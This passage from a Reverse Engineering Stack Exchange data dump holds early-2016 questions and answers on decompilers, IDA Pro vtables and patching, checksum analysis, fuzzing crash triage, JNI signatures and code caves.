LastEditorUserId="4709" LastEditDate="2016-01-21T04:59:15.983" LastActivityDate="2016-01-21T04:59:15.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11809" PostTypeId="2" ParentId="11785" CreationDate="2016-01-20T18:03:20.197" Score="1" Body="&lt;p&gt;RedGate's NET Reflector can disassemble a whole DLL assembly and generate the .cs files &amp;amp; even .vcxproj files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the VSPro version, you can disassemble &amp;amp; debug code on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I suggest getting a trial of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the code is ofuscated (or is part native / part managed, ie with C++ CLI) it will not disassemble completely. However, from your stack trace, looks like it is not ofuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally some ofuscators create a thread that checks in an infinite loop if System.Diagnostics.Debugger.IsAttached property is true and if so kills the whole process, so some extra effort may be required :)&lt;/p&gt;&#xA;" OwnerUserId="11551" LastActivityDate="2016-01-20T18:03:20.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11811" PostTypeId="1" CreationDate="2016-01-20T18:29:57.337" Score="23" ViewCount="19791" Body="&lt;p&gt;I am using IDA Pro to disassemble a C++ behemoth with 1600+ classes, many of them having pure virtual methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some classes also are made up of multiple base classes, in hierarchies 5+ levels deep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ida PRO supports making structures of pointers, to handle vtables, but some of the final classes can have multiple different vtables in the same &quot;slot&quot;, due to heavy polymorphism, so how you organize the vtables? How you tell IDA that in this method, or that method, what vtable is actually being refered to?&lt;/p&gt;&#xA;" OwnerUserId="14358" LastActivityDate="2023-03-16T10:35:07.563" Title="How to organize vtables in IDA Pro?" Tags="|ida|c++|hexrays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11812" PostTypeId="1" AcceptedAnswerId="11920" CreationDate="2016-01-20T20:22:45.390" Score="3" ViewCount="1808" Body="&lt;p&gt;I have app that used to display a message &quot;processing&quot; after clicking OK button then another message &quot;done&quot;, but now it doesn't. So I got reverse it and see whats happening, but it turns out that the way of searching for strings doesn't work, so  I searched for the &lt;code&gt;messagebox&lt;/code&gt; API but I found &lt;code&gt;messageboxA&lt;/code&gt; twice and &lt;code&gt;MessageboxW&lt;/code&gt; once and they both seem not be used for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I would like to know if it's possible that the message could be displayed without the use of &lt;code&gt;MessageBox&lt;/code&gt; API or even DLL can display the message without the API?&#xA;please help&lt;/p&gt;&#xA;" OwnerUserId="13434" LastEditorUserId="2021" LastEditDate="2016-02-02T12:39:05.467" LastActivityDate="2016-06-29T09:33:29.287" Title="is ther a way an app can display a message without the use of messagebox API?" Tags="|windows|patch-reversing|delphi|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11813" PostTypeId="2" ParentId="11812" CreationDate="2016-01-20T21:08:09.220" Score="4" Body="&lt;p&gt;The MessageBox API just creates a windows dialog and spins in a message loop until it is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A program can do this themselves without using MessageBox, you can look for calls to either &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms645434.aspx&quot; rel=&quot;nofollow&quot;&gt;CreateDialog&lt;/a&gt;, or &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms632679.aspx&quot; rel=&quot;nofollow&quot;&gt;CreateWindow&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2016-01-20T21:08:09.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11814" PostTypeId="2" ParentId="11805" CreationDate="2016-01-20T22:13:41.690" Score="0" Body="&lt;p&gt;This is because radare2 doesn't come with &lt;a href=&quot;http://radare.today/posts/analysis-by-default/&quot; rel=&quot;nofollow&quot;&gt;analysis by default&lt;/a&gt;, moreover, it doesn't have (yet?) great analysis capabilities. The reason why (beside the lack of time/interest/contributors of course) is explained in the previous link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please note that the string isn't referenced: during the disassembly, radare2 will detect strings and tell you about them, but this doesn't mean that it will add them to its internal database.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-01-20T22:13:41.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11815" PostTypeId="2" ParentId="8421" CreationDate="2016-01-21T13:48:10.840" Score="-1" Body="&lt;p&gt;You should run debugger like that (example for linux):&#xA;./debugclient a.out 1&#xA;and then attach to debugger from binnavi.&lt;/p&gt;&#xA;" OwnerUserId="14784" LastActivityDate="2016-01-21T13:48:10.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11817" PostTypeId="2" ParentId="11804" CreationDate="2016-01-21T15:13:09.787" Score="8" Body="&lt;p&gt;The key is getting getting a megaton of samples, so that the analysis has something to feed on. It really helps if you can stick the samples in a database table or dictionary that can be queried &lt;strong&gt;interactively&lt;/strong&gt;, e.g. from some sort of script shell. Python should work admirably but I don't have much experience with it, as I've been using Visual FoxPro for interactive spelunking these last two decades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your samples ready to be queried you can test various simple hypotheses and disprove them by finding counterexamples. For example, the following samples seem to suggest that a difference in the fourth byte causes a quadruple difference in the checksum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00h 5Ch A2h 00h 00h 01h 7Fh&#xA;00h 5Ch A2h 01h 00h 01h 63h&#xA;00h 5Ch A2h 02h 00h 01h 67h&#xA;00h 5Ch A2h 03h 00h 01h 6Bh &#xA;00h 5Ch A2h 04h 00h 01h 6Fh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key is finding samples that differ only in the current 'working' column and the checksum, to study the effect which a change in the working column has on the checksum. For example, given the input above we could note down &lt;code&gt;4 * b[3]&lt;/code&gt; as preliminary term for the fourth byte, and then query the sample database for counterexamples were this doesn't work. That is to say, you select pairs of samples that differ only in the fourth byte and the checksum and count the number of successes and failures for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delta(checksum) mod 256 == 4 * delta(byte[3]) mod 256.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the idea, anyway. What a thing like &lt;code&gt;delta(checksum) mod 256&lt;/code&gt; actually looks like depends on your script shell, obviously. With VFP it would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod(256 + asc(substr(right, 7, 1)) - asc(substr(left, 7, 1)), 256)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The complete expression for the test above would be rather long, so you'd normally write little helper functions. With a helper named &lt;code&gt;byte_delta()&lt;/code&gt; that normalises its result to the range [0, 255] you might have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select le.sample as left, ri.sample as right ;&#xA;   from all_samples le, all_samples ri ;&#xA;   where stuff(left(ri.sample, 6), 4, 1, &quot;&quot;) == stuff(left(le.sample, 6), 4, 1, &quot;&quot;) ;&#xA;      and le.sample &amp;lt;&amp;gt; ri.sample ;&#xA;   into cursor byte_3_pairs&#xA;&#xA;select byte_delta(right, left, 7) == mod(4 * byte_delta(right, left, 4), 256) as ok, count(*) ;&#xA;   from byte_3_pairs ;&#xA;   group by 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the case under consideration you'd get a mixed picture for this query (see difference between first and second sample above, which is E4 instead of 4). Normally you'd do a fair bit of selecting differences first, just to get a feel for things. 'Difference' could be arithmetic difference, bitwise xor, whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why you need an interactive shell like Python or VFP; with the edit-compile-run cycles of a compiled language this would be rather cumbersome. I've given the VFP examples because scripting languages with database support can make things a lot easier here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple weighted sums like the usual 'human-computable' checksums in things like ISBNs this gives fairly quick results. I've used this approach to determine all the check digit schemes used in German health insurance numbers -  which are mostly undocumented (or at least were, at the time) - from varying amounts of samples. Of course, in that case I had the advantage that the basic type of scheme - a weighted sum of digits - was known, and the samples were already residing in database tables... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The case under discussion is more difficult because the basic scheme is not yet known. That's why it is important to look at the bit patterns to get a feel for things. For example, bubbling carries indicate an additive function. This is explained in more detail in the topic &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/6927/10027&quot;&gt;Reversing simple message + checksum pairs (32 bytes)&lt;/a&gt;, which also shows a few change pattern examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: besides trying to tease out checksum differences for changes in specific bits or bytes, there are lots of other things that can be done when the samples have been stuffed into some sort of queryable table/dictionary/map. The first thing is usually to run a battery of tests with existing standard functions, like straight byte sum, straight byte xor, various CRCs and so on, to observe the difference (arithmetic and xor) to the checksum. Displaying results as bit patterns - as shown in the linked article - can often be helpful for discerning regularities that are not so obvious in hexadecimal or decimal format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; At the moment the samples are too similar (no differences in the first three bytes) and there's too few of them for discarding hypotheses quickly. In other words, there are just too many potential functions that would fit the existing data...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following simple Fox function correctly predicts the checksum for the original handful of samples, except for a few cases where it is off by 0x20:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function f (s)&#xA;&#xA;   local x, i&#xA;&#xA;   x = 0&#xA;   for i = 1 to len(m.s) - 1&#xA;      x = bitand(bitlshift(m.x, 1) + asc(substr(m.s, m.i, 1)), 0xFF)&#xA;   next i&#xA;&#xA;   return bitand(m.x + 0x8E, 0xFF)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That could be because it's a rotation instead of a shift, or some xor is involved, or some other shift (relatively prime to 8) that overlaps with the bitcount per byte to create a distance of two bits between the fourth byte and the checksum. A rotation by 5 would do that. However, there are a lot of other possibilities... That's why we need lots more samples. ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analysing the &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/6927/10027&quot;&gt;samples on PasteBin&lt;/a&gt; shows that a difference in the last byte position before the checksum is always equal to the difference in the checksum. This means that the last byte and its effect on the checksum can be removed from the sample base. This increases the number of samples that differ in just one byte position, which means there's more low-hanging fruit for analysis...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. the samples&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 5C A0 00 00 00 00 00 06 00:69&#xA;00 5C A0 00 00 00 00 00 06 01:6A&#xA;...&#xA;00 5C A0 00 00 00 00 00 06 FF:68&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all map to the new sample (the dot indicates a removed byte, just for the sake of exposition here):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 5C A0 00 00 00 00 00 06 . 69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The shortened sample base immediately shows cases where the 'power of two' rule does not work (the last byte here is originally the second last):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 5C A0 00 00 00 00 00 00 . 7D&#xA;00 5C A0 00 00 00 00 00 01 . 7F&#xA;00 5C A0 00 00 00 00 00 02 . 61  &amp;lt;- difference -0x20 to predicted delta 2&#xA;00 5C A0 00 00 00 00 00 03 . 63&#xA;00 5C A0 00 00 00 00 00 04 . 65&#xA;...&#xA;00 5C A0 00 00 00 07 00 00 . B5 &#xA;00 5C A0 00 00 00 08 00 00 . BD&#xA;00 5C A0 00 00 00 09 00 00 . A5  &amp;lt;- difference -0x20 to predicted delta 8&#xA;00 5C A0 00 00 00 0A 00 00 . AD&#xA;00 5C A0 00 00 00 0B 00 00 . D5  &amp;lt;- back on track with the earlier sequence&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-01-22T14:52:07.653" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11819" PostTypeId="1" CreationDate="2016-01-22T01:51:21.590" Score="-2" ViewCount="459" Body="&lt;p&gt;I studied reverse engineering for 6 months.&#xA;And I wanna discover Adobe Reader vulnerability for bughunting.&#xA;But i have lack knowlege of this branch. Anyone help me plz?&#xA;My question is what kind of fuzzer can i use to fuzzing Adobe Reader?&lt;/p&gt;&#xA;" OwnerUserId="14790" LastActivityDate="2016-01-22T09:56:32.353" Title="What kind of fuzzer can i use?" Tags="|vulnerability-analysis|" AnswerCount="1" CommentCount="0" ClosedDate="2016-01-22T16:56:06.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="11820" PostTypeId="2" ParentId="11819" CreationDate="2016-01-22T05:39:52.540" Score="2" Body="&lt;p&gt;It doesn't work like that.&#xA;As you might know, bugs are worth money. The main reason for tgis is at it requires both skill and time to find these bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly you want to learn this skill, so in the future you might be able to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can't just point a fuzzer at something and find bugs in A-software. You either need to write your own, statebased fuzzer or find bugs by reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I myself am a huge fan of the latter.&#xA;Read the docs on how it should work. Reverse a complex part (complex = programmer bugs) and audit the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When starting out, start with finding bugs in old software. That you know contains bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy bug hunting!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4374/fuzzing-adobe-reader-exploit-development&quot;&gt;Fuzzing Adobe Reader - Exploit Development&lt;/a&gt; Joxean Koret posted a great comment there.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2016-01-22T09:56:32.353" LastActivityDate="2016-01-22T09:56:32.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11822" PostTypeId="2" ParentId="4374" CreationDate="2016-01-22T08:54:29.697" Score="3" Body="&lt;p&gt;There are good answers to your question here. However, I wanted to give you my opinion. Root cause analysis, over all, is best done half-manually. One of the reasons is that techniques like Dynamic Taint Analysis, using SMT solvers, etc... are good tools for small or specific problems but almost unusable for whole projects + real targets, for the average researcher, because of the time and power required. Also, it's worth considering the time you will need to develop a tool using such techniques that might work well with a real target, like Acrobat Reader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very first thing I can recommend you, in order to make your task less annoying, is to write minimization tools. Depending on how you created your mutated samples, you could even use some of the tools I wrote myself for &lt;a href=&quot;http://github.com/joxeankoret/nightmare&quot; rel=&quot;nofollow&quot;&gt;Nightmare&lt;/a&gt; like &lt;a href=&quot;https://github.com/joxeankoret/nightmare/blob/master/fuzzers/generic_minimizer.py&quot; rel=&quot;nofollow&quot;&gt;this kind of generic crash minimization tool&lt;/a&gt; that works for some binary files and for text only files (it might work for you with Acrobat Reader with some modifications). Once you minimized your PDF, you might want to do also the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://code.google.com/p/mynav/&quot; rel=&quot;nofollow&quot;&gt;MyNav&lt;/a&gt;, &lt;a href=&quot;https://github.com/google/binnavi&quot; rel=&quot;nofollow&quot;&gt;BinNavi&lt;/a&gt; or a similar tool able to do &lt;a href=&quot;http://blog.zynamics.com/2010/01/19/binnavi-3-0-preview-improved-differential-debugging/&quot; rel=&quot;nofollow&quot;&gt;differential debugging&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Record a first execution with a blank PDF. Be sure to record as most GUI events as possible.&lt;/li&gt;&#xA;&lt;li&gt;If you created your mutated file from a template PDF file, then record also an execution of that original PDF file. It will remove all the functions and basic blocks that were used for that specific template.&lt;/li&gt;&#xA;&lt;li&gt;After the previous steps were you record a trace of a blank PDF file, GUI events, etc... record the execution of your crashing PDF sample. As you're using differential debugging, only the last basic blocks and/or functions will appear in the last trace.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hopefully, you will have only a few basic blocks or functions to analyse and you might be able to see which conditional jumps where taken or not taken and determine why it crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, if you're on Unix, you can also diff logs of valgrind executions with the original template and with your crashing sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 2 cents...&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2016-01-22T08:59:34.107" LastActivityDate="2016-01-22T08:59:34.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11823" PostTypeId="2" ParentId="11483" CreationDate="2016-01-22T14:07:10.897" Score="1" Body="&lt;p&gt;I had a look at the program you mentioned and the compilation means only packaging, so decompilation is always possible. The format of the file seems to be very simple, so if you want you can reverse it easily. However you can insert the decompilation flag into the meta.ini with a hex editor for example in the following way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the file in your preferred hex editor.&lt;/li&gt;&#xA;&lt;li&gt;Locate an &lt;code&gt;[Author]&lt;/code&gt; section and modify it by &lt;strong&gt;overwriting&lt;/strong&gt; the file content with &lt;code&gt;[Compile]\x0aDecompilable=1\x0a&lt;/code&gt; (\x0a means a new line character).&lt;/li&gt;&#xA;&lt;li&gt;Fill up the remaining string with spaces until the next section start.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After these modification you should have a similar entry such in the following picture:&lt;p&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OpWBg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OpWBg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-01-22T14:07:10.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11824" PostTypeId="1" CreationDate="2016-01-22T14:44:26.943" Score="0" ViewCount="623" Body="&lt;p&gt;I've modified program database in IDA Pro and then created a .dif file with File -&gt; Produce File -&gt; Create DIF File...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I've reverted all my changes to database. Is there a way to apply changes from .dif file back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14798" LastActivityDate="2016-02-23T09:26:23.207" Title="IDA pro apply .dif back to database" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11827" PostTypeId="1" AcceptedAnswerId="11829" CreationDate="2016-01-23T12:09:55.337" Score="0" ViewCount="639" Body="&lt;p&gt;I wish to set a breakpoint on a call to a specific windows API function, e.g.-&#xA;RegQueryValueExA()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is resolved at runtime in unknown stage of malware execution, and I wish to initiate manual debugging after this API is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way other from detecting the moment it is resolved?&#xA;I have some other lazy-ass solutions but I guess that there's  a proper approach to this issue.&lt;/p&gt;&#xA;" OwnerUserId="14425" LastActivityDate="2016-01-23T15:21:37.390" Title="Breaking on specific API" Tags="|debugging|winapi|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11828" PostTypeId="2" ParentId="11812" CreationDate="2016-01-23T13:34:03.327" Score="1" Body="&lt;p&gt;try to open the executable in CFF Explorer's hex editor and search for those strings, if you cant find them then i suggest you look for help about finding the hidden code inside executable.&#xA;i think programmers can hide the portion of code sometimes and encrypt or hide strings as well.&#xA;find the portion of code that is hidden then look for the API again.&lt;/p&gt;&#xA;" OwnerUserId="13366" LastActivityDate="2016-01-23T13:34:03.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11829" PostTypeId="2" ParentId="11827" CreationDate="2016-01-23T15:21:37.390" Score="0" Body="&lt;p&gt;It sounds like you're asking two questions here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to have your debugger break when &lt;code&gt;RegQueryValueExA()&lt;/code&gt; is called?&lt;/li&gt;&#xA;&lt;li&gt;How to have your debugger break when the address for &lt;code&gt;RegQueryValueExA&lt;/code&gt; is resolved?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;#1&lt;/strong&gt;, you can just set a breakpoint on the first instruction of &lt;code&gt;advapi32!RegQueryValueExA&lt;/code&gt;. Consult your debugger's documentation for how to set breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;#2&lt;/strong&gt;, you'd need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the index of &lt;code&gt;RegQueryValueExA&lt;/code&gt; in the &lt;code&gt;AddressOfNames&lt;/code&gt; array from &lt;code&gt;advapi32.dll&lt;/code&gt;'s &lt;code&gt;IMAGE_EXPORT_DIRECTORY&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set a hardware-read breakpoint on the corresponding index in the &lt;code&gt;AddressOfFunctions&lt;/code&gt; array from &lt;code&gt;advapi32.dll&lt;/code&gt;'s &lt;code&gt;IMAGE_EXPORT_DIRECTORY&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;When the hardware breakpoint gets hit, examine the callstack to see if the address of &lt;code&gt;RegQueryValueExA&lt;/code&gt; was being resolved by code in your target module. If not, wait until the breakpoint is hit again and check again. Otherwise, you've found the code in your target module that resolves &lt;code&gt;RegQueryValueExA&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-23T15:21:37.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11830" PostTypeId="1" AcceptedAnswerId="11832" CreationDate="2016-01-23T22:03:01.087" Score="1" ViewCount="157" Body="&lt;p&gt;An Android application I'm analyzing makes calls to a native library to generate a certain value. Here's an example of the native library function declaration from SMALI (Decompiled Java):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.method private native createAlgorithmSolver(II)J&#xA;.end method&#xA;&#xA;.method private native solveAlgorithm(Ljava/lang/String;IJ)[I&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes sense. createAlgorithmSolver accepts two ints, and returns a long. solveAlgorithm accepts a 32 character string such as &quot;SM1r0WeJH6qxdfNua2zg7t8ITwQUZYn5&quot;, and it accepts an int, and a long, and returns an int array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I decompile the actual &quot;.so&quot; file with IDA Hex-rays decompiler, I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createAlgorithmSolver(int a1, int a2, unsigned int a3, int a4)&#xA;solveAlgorithm(int a1, int a2, int a3, unsigned int a4, signed int a5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use &quot;Retargetable Decompiler&quot; (&lt;a href=&quot;https://retdec.com&quot; rel=&quot;nofollow&quot;&gt;https://retdec.com&lt;/a&gt;) with Python pseudo code, I get these function declarations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def createAlgorithmSolver(a1, a2):&#xA;def solveAlgorithm(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's causing these weird discrepancies?&lt;/p&gt;&#xA;" OwnerUserId="14661" LastActivityDate="2016-01-24T00:11:10.663" Title="Discrepancies in function declarations from decompilers?" Tags="|ida|disassembly|c|android|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11831" PostTypeId="1" AcceptedAnswerId="11841" CreationDate="2016-01-23T22:57:27.963" Score="1" ViewCount="334" Body="&lt;p&gt;Suppose, I have a new iPhone 6s with latest iOS, and I want to find vulnerabilities in iOS itself. iPhone is not jailbroken. How do I set up the proper environment for this? What software and/or hardware tools do I need to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: Which component of iOS would you recommend me to start with? Which one is more likely to contain vulnerabilities that could result in jailbreak?&lt;/p&gt;&#xA;" OwnerUserId="9820" LastActivityDate="2016-01-25T03:57:38.023" Title="iOS exploit hunting environment" Tags="|disassembly|debugging|exploit|ios|fuzzing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11832" PostTypeId="2" ParentId="11830" CreationDate="2016-01-24T00:11:10.663" Score="3" Body="&lt;p&gt;JNI methods take an extra parameter of type JNIEnv*, which is a pointer to a table of function pointers. This is how JNI methods can make calls into the JVM, which is necessary to do anything nontrivial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that accounts for the first int argument of the functions you listed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the functions are non-static, so they obviously take a hidden &lt;code&gt;this&lt;/code&gt; parameter. That accounts for the second argument. After that comes the source level parameters of the methods. In the first case, it's just two ints. In the second case, it's a String object (i.e. a jstring pointer), an int, and a long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the decompiler isn't smart enough to guess what the actual types of the parameters are meant to be - it just sees how many values are passed in registers and on the stack. Therefore, all the pointers show up as ints and the long shows up as a pair of ints. &lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2016-01-24T00:11:10.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11833" PostTypeId="1" CreationDate="2016-01-24T03:01:11.130" Score="4" ViewCount="4379" Body="&lt;p&gt;I need to add code into an assembled program.  If I am only changing a jump, I change JE to JNE and that is simple.  If I need to add only a couple of instructions, I can find a section with a bunch of NOP's and jump to that section, insert my new code, and then jump back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do if I need to insert about 10 lines of instructions and I do not have a section of NOP's that is large enough to fit my new code?  I know I can not move any of the existing code since that would throw off any calls or jumps.  I am trying to update the disassembled code in OLLYDBG since all I have is the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion on how to do this would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14806" LastActivityDate="2016-01-24T05:37:54.493" Title="how to add instructions to executable" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ClosedDate="2016-01-30T15:41:37.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="11834" PostTypeId="2" ParentId="11833" CreationDate="2016-01-24T05:37:54.493" Score="6" Body="&lt;p&gt;What you're looking for is a codecave. Take a look at &lt;a href=&quot;http://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&lt;/a&gt;; it has a good intro on how to get started.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2016-01-24T05:37:54.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11835" PostTypeId="2" ParentId="11824" CreationDate="2016-01-24T07:20:48.050" Score="1" Body="&lt;p&gt;As far as I understand the .dif file is built as follows - after some initial meaningless lines it contains something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;offset_in_file: initial_byte current_byte&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So applying the differences to the idb should be easy with simple python function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#not tested, not checked, not ran even once&#xA;#beware of errors, use on your own risk&#xA;import idaapi&#xA;import idc&#xA;&#xA;def apply_dif_file(dif_file_name):&#xA;    f = open(dif_file_name, &quot;r&quot;)&#xA;    for l in f:&#xA;        if l.find(&quot;:&quot;) == -1:&#xA;            continue&#xA;        splitted = l.split()&#xA;        off_in_file = splitted[0]&#xA;        initial_byte = splitted[1]&#xA;        new_byte = splitted[2]&#xA;&#xA;        #Converting offset to integer&#xA;        #After that converting it to the ea&#xA;        offset = int(off_in_file.replace(&quot;:&quot;, &quot;&quot;), 16)&#xA;        ea = idaapi.get_fileregion_ea(offset)&#xA;        #converting new byte&#xA;        new_byte_num = int(new_byte, 16)&#xA;&#xA;        idc.PatchByte(ea, new_byte_num)&#xA;    f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck, note the latest edits.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-01-24T09:18:40.673" LastActivityDate="2016-01-24T09:18:40.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
